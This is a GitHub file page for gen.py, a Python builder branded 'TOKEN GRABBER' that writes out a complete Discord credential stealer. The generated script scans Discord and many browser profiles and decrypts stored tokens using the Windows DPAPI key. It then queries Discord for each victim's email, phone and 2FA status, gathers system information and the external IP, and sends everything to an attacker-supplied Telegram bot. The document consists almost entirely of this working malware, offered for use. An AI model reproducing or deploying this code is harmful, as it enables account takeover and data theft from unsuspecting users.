-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathgen.py
More file actions
369 lines (307 loc) · 14.5 KB
/
gen.py
File metadata and controls
369 lines (307 loc) · 14.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
import os
import sys
from pystyle import Colors, Colorate, Center
from logging import CRITICAL, basicConfig
def _gen():
basicConfig(level=CRITICAL)
sys.stderr = open(os.devnull, 'w')
#چون با ترنسلیت متن های انگلیسی رو زدم، پس اگه انگلیسیم یه جایی رید ببخشید :)
os.system('cls' if os.name == 'nt' else 'clear')
print(Colorate.Diagonal(Colors.red_to_blue, Center.XCenter("""\
▗▄▄▄▖▗▄▖ ▗▖ ▗▖▗▄▄▄▖▗▖ ▗▖ ▗▄▄▖▗▄▄▖ ▗▄▖ ▗▄▄▖ ▗▄▄▖ ▗▄▄▄▖▗▄▄▖
█ ▐▌ ▐▌▐▌▗▞▘▐▌ ▐▛▚▖▐▌ ▐▌ ▐▌ ▐▌▐▌ ▐▌▐▌ ▐▌▐▌ ▐▌▐▌ ▐▌ ▐▌
█ ▐▌ ▐▌▐▛▚▖ ▐▛▀▀▘▐▌ ▝▜▌ ▐▌▝▜▌▐▛▀▚▖▐▛▀▜▌▐▛▀▚▖▐▛▀▚▖▐▛▀▀▘▐▛▀▚▖
█ ▝▚▄▞▘▐▌ ▐▌▐▙▄▄▖▐▌ ▐▌ ▝▚▄▞▘▐▌ ▐▌▐▌ ▐▌▐▙▄▞▘▐▙▄▞▘▐▙▄▄▖▐▌ ▐▌
t.me/secabuser
""")))
bot_token = input(Colorate.Horizontal(Colors.cyan_to_blue, "bot token > ")).strip()
chat_id = input(Colorate.Horizontal(Colors.cyan_to_blue, "chat ID > ")).strip()
_name = input(Colorate.Horizontal(Colors.cyan_to_blue, "file name (def: grabber.py) > ")).strip()
if not _name:
_name = "grabber.py"
script_content = f"""
import os
import re
import json
import base64
import sqlite3
import requests
import platform
import socket
import psutil
from pathlib import Path
from Crypto.Cipher import AES
from typing import Dict, Set, Tuple, Optional, List
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Scout:
def __init__(self):
self.found: Set[Tuple[str, str]] = set()
self.link = self.init_link()
def init_link(self) -> requests.Session:
ses = requests.Session()
ses.verify = False
ses.headers.update({{
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
}})
return ses
def check(self, data: str) -> bool:
return bool(re.match(r'[\\w-]{{24}}\.[\\w-]{{6}}\.[\\w-]{{27}}|mfa\.[\\w-]{{84}}', data))
def run(self) -> Set[Tuple[str, str]]:
raise NotImplementedError
class Chrome(Scout):
def __init__(self):
super().__init__()
self.paths = self.get_paths()
def get_paths(self) -> Dict[str, Path]:
loc = Path(os.getenv('LOCALAPPDATA', ''))
roam = Path(os.getenv('APPDATA', ''))
roots = {{
'Dsc': roam / 'Discord',
'DscCanary': roam / 'discordcanary',
'DscPTB': roam / 'discordptb',
'Chr': loc / 'Google' / 'Chrome' / 'User Data',
'Edg': loc / 'Microsoft' / 'Edge' / 'User Data',
'Brv': loc / 'BraveSoftware' / 'Brave-Browser' / 'User Data',
'Opr': roam / 'Opera Software' / 'Opera Stable',
'OprGX': roam / 'Opera Software' / 'Opera GX Stable',
'Yndx': loc / 'Yandex' / 'YandexBrowser' / 'User Data',
'Vival': loc / 'Vivaldi' / 'User Data',
'Chrom': loc / 'Chromium' / 'User Data',
'Epic': loc / 'Epic Privacy Browser' / 'User Data',
'Slim': loc / 'Slimjet' / 'User Data',
'UC': loc / 'UCBrowser' / 'User Data',
'Cmo': loc / 'Comodo' / 'Dragon' / 'User Data',
'Fx': roam / 'Mozilla' / 'Firefox' / 'Profiles'
}}
return {{name: path for name, path in roots.items() if path.exists()}}
def get_key(self, path: Path) -> Optional[bytes]:
if platform.system() != "Windows":
return None
try:
with open(path / 'Local State', 'r', encoding='utf-8') as f:
data = json.load(f)
b64_key = data['os_crypt']['encrypted_key']
raw_key = base64.b64decode(b64_key)[5:]
import win32crypt
key = win32crypt.CryptUnprotectData(raw_key, None, None, None, 0)[1]
return key
except:
return None
def dec(self, enc_data: bytes, key: bytes) -> Optional[str]:
try:
iv = enc_data[3:15]
txt = enc_data[15:-16]
cipher = AES.new(key, AES.MODE_GCM, iv)
dec_txt = cipher.decrypt(txt)
return dec_txt.decode('utf-8')
except:
return None
def scan_db(self, db_path: Path, name: str, key: Optional[bytes]):
for file in db_path.glob('*.[l|m]db'):
try:
with open(file, 'r', errors='ignore') as f:
content = f.read()
for token in re.findall(r'[\\w-]{{24}}\.[\\w-]{{6}}\.[\\w-]{{27}}|mfa\.[\\w-]{{84}}', content):
if self.check(token):
self.found.add((token, name))
for match in re.finditer(r'dQw4w9WgXcQ:[^\\"]+', content):
enc = match.group().split('dQw4w9WgXcQ:')[1]
if key:
try:
dec = self.dec(base64.b64decode(enc), key)
if dec and self.check(dec):
self.found.add((dec, name))
except:
pass
except:
continue
def run(self) -> Set[Tuple[str, str]]:
for name, path in self.paths.items():
if name == 'Fx':
continue
if not path.exists():
continue
key = self.get_key(path)
if name in ['Dsc', 'DscCanary', 'DscPTB']:
db_path = path / 'Local Storage' / 'leveldb'
if db_path.exists():
self.scan_db(db_path, name, key)
else:
profiles = ['Default'] + [d.name for d in path.iterdir() if d.is_dir() and d.name.startswith('Profile')]
for prof in profiles:
db_path = path / prof / 'Local Storage' / 'leveldb'
if db_path.exists():
self.scan_db(db_path, f"{{name}} ({{prof}})", key)
return self.found
class Fox(Scout):
def __init__(self):
super().__init__()
self.root = Path(os.getenv('APPDATA', '')) / 'Mozilla' / 'Firefox' / 'Profiles'
def dec_fox(self, data: bytes) -> Optional[str]:
return None
def get_cookies(self, path: Path) -> Set[Tuple[str, str]]:
res = set()
db_path = path / 'cookies.sqlite'
if not db_path.exists():
return res
try:
conn = sqlite3.connect(f'file:{{db_path}}?mode=ro', uri=True)
cursor = conn.cursor()
cursor.execute(\"\"\"
SELECT value FROM moz_cookies
WHERE host LIKE '%discord.com%'
AND (name LIKE '%token%' OR name LIKE '%auth%')
\"\"\")
for row in cursor.fetchall():
token = row[0]
if self.check(token):
res.add((token, "Firefox"))
conn.close()
except sqlite3.Error:
pass
return res
def get_local(self, path: Path) -> Set[Tuple[str, str]]:
res = set()
for file in path.rglob('*'):
if file.is_file() and file.suffix in ['.sqlite', '.json', '.txt', '.log']:
try:
with open(file, 'r', errors='ignore') as f:
content = f.read()
for token in re.findall(r'[\\w-]{{24}}\.[\\w-]{{6}}\.[\\w-]{{27}}|mfa\.[\\w-]{{84}}', content):
if self.check(token):
res.add((token, "Firefox"))
except:
pass
return res
def run(self) -> Set[Tuple[str, str]]:
if not self.root.exists():
return self.found
for prof in self.root.iterdir():
if prof.is_dir() and (prof.name.endswith('.default-release') or prof.name.endswith('.default')):
self.found.update(self.get_cookies(prof))
self.found.update(self.get_local(prof))
return self.found
class Grabber:
def __init__(self, key: str, chat: str):
self.key = key
self.chat = chat
self.s = self.get_ses()
self.tokens: Set[Tuple[str, str]] = set()
def get_ses(self) -> requests.Session:
ses = requests.Session()
ses.verify = False
ses.headers.update({{
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
}})
return ses
def get_info(self, token: str) -> Optional[Dict]:
head = {{'Authorization': token}}
try:
res = self.s.get('https://discord.com/api/v9/users/@me', headers=head, timeout=10)
res.raise_for_status()
return res.json()
except requests.exceptions.RequestException:
return None
def get_ip(self) -> str:
try:
res = self.s.get('https://api.ipify.org', timeout=5)
return res.text
except requests.exceptions.RequestException:
return "Undetectable"
def get_sys(self) -> str:
user = os.getenv('USERNAME') or os.getenv('USER') or "Unknown"
host = socket.gethostname() or "Unknown Host"
os_det = f"{{platform.system()}} {{platform.release()}} ({{platform.version()}})"
arch = platform.machine()
proc = platform.processor()
try:
ram_stats = psutil.virtual_memory()
ram_gb = round(ram_stats.total / (1024**3), 2)
ram_str = f"{{ram_gb}} GB"
except Exception:
ram_str = "N/A"
try:
cpu_per = psutil.cpu_percent(interval=1)
cpu_cnt = psutil.cpu_count(logical=True)
cpu_sum = f"{{cpu_cnt}} Cores ({{cpu_per}}%)"
except Exception:
cpu_sum = "N/A"
ip = self.get_ip()
msg = (
f"<b>User:</b> {{user}}\\n"
f"<b>Win:</b> {{os_det}}\\n"
f"<b>Type:</b> {{arch}}\\n"
f"<b>Cpu:</b> {{proc}}\\n"
f"<b>Memory:</b> {{ram_str}}\\n"
f"<b>Cpu-Load:</b> {{cpu_sum}}\\n"
f"<b>External-IP:</b> {{ip}}\\n"
f"━━━━━━━━━━━━━━━━━━"
f"\\n// @secabuser \\\\"
)
return msg
def send(self, content: str) -> bool:
url = f'https://api.telegram.org/bot{{self.key}}/sendMessage'
payload = {{
'chat_id': self.chat,
'text': content,
'parse_mode': 'HTML'
}}
try:
res = self.s.post(url, json=payload, timeout=10)
res.raise_for_status()
return True
except requests.exceptions.RequestException:
return False
def exec(self):
chrome_pipe = Chrome()
self.tokens.update(chrome_pipe.run())
fox_pipe = Fox()
self.tokens.update(fox_pipe.run())
if not self.tokens:
self.send("<b>// No Discord credentials detected. Mission completed with no findings.</b>\\n━━━━━━━━━━━━━━━━━━\\n// @secabuser \\\\")
else:
for token, source in self.tokens:
details = self.get_info(token)
if details:
report = (
f"<b>// New Acc \\\\</b>\\n"
f"━━━━━━━━━━━━━━━━━━\\n"
f"<b>Source:</b> {{source}}\\n"
f"<b>UserName:</b> {{details.get('username', 'N/A')}}#{{details.get('discriminator', '0000')}}\\n"
f"<b>AccId:</b> <code>{{details.get('id', 'N/A')}}</code>\\n"
f"<b>Email:</b> {{details.get('email', 'N/A')}}\\n"
f"<b>Phone:</b> {{details.get('phone', 'N/A')}}\\n"
f"<b>Loc:</b> {{details.get('locale', 'N/A')}}\\n"
f"<b>2FA Status:</b> {{'✅ Enabled' if details.get('mfa_enabled') else '❌ Disabled'}}\\n"
f"<b>Token:</b>\\n<code>{{token}}</code>\\n"
f"━━━━━━━━━━━━━━━━━━\\n"
f"// @secabuser \\\\"
)
self.send(report)
else:
invalid_report = (
f"<b>// Discord Credential (Inactive/Invalid) \\\\</b>\\n"
f"━━━━━━━━━━━━━━━━━━\\n"
f"<b>Invalid Token:</b>\\n<code>{{token}}</code>\\n"
f"━━━━━━━━━━━━━━━━━━\\n"
f"// @secabuser \\\\"
)
self.send(invalid_report)
sys_report = f"<b>User:</b> {{os.getenv('USERNAME') or os.getenv('USER') or 'Unknown'}}\\n" + self.get_sys().lstrip("━━━━━━━━━━━━━━━━━━━━━━━━━━━━\\n")
self.send(sys_report)
if __name__ == '__main__':
TELE_KEY = \"{bot_token}\" # توکن ربات تلگرام شما
CHAT_ID = \"{chat_id}\" # ایدی عددی شما
main_grabber_instance = Grabber(TELE_KEY, CHAT_ID)
main_grabber_instance.exec()
"""
try:
with open(_name, 'w', encoding='utf-8') as f:
f.write(script_content.strip())
print(Colorate.Horizontal(Colors.green_to_white, f"\nFile '{_name}' successfully created."))
print(Colorate.Horizontal(Colors.green_to_white, "bye bye."))
except Exception as e:
print(Colorate.Horizontal(Colors.red_to_white, f"Error : {e}"))
if __name__ == '__main__':
_gen()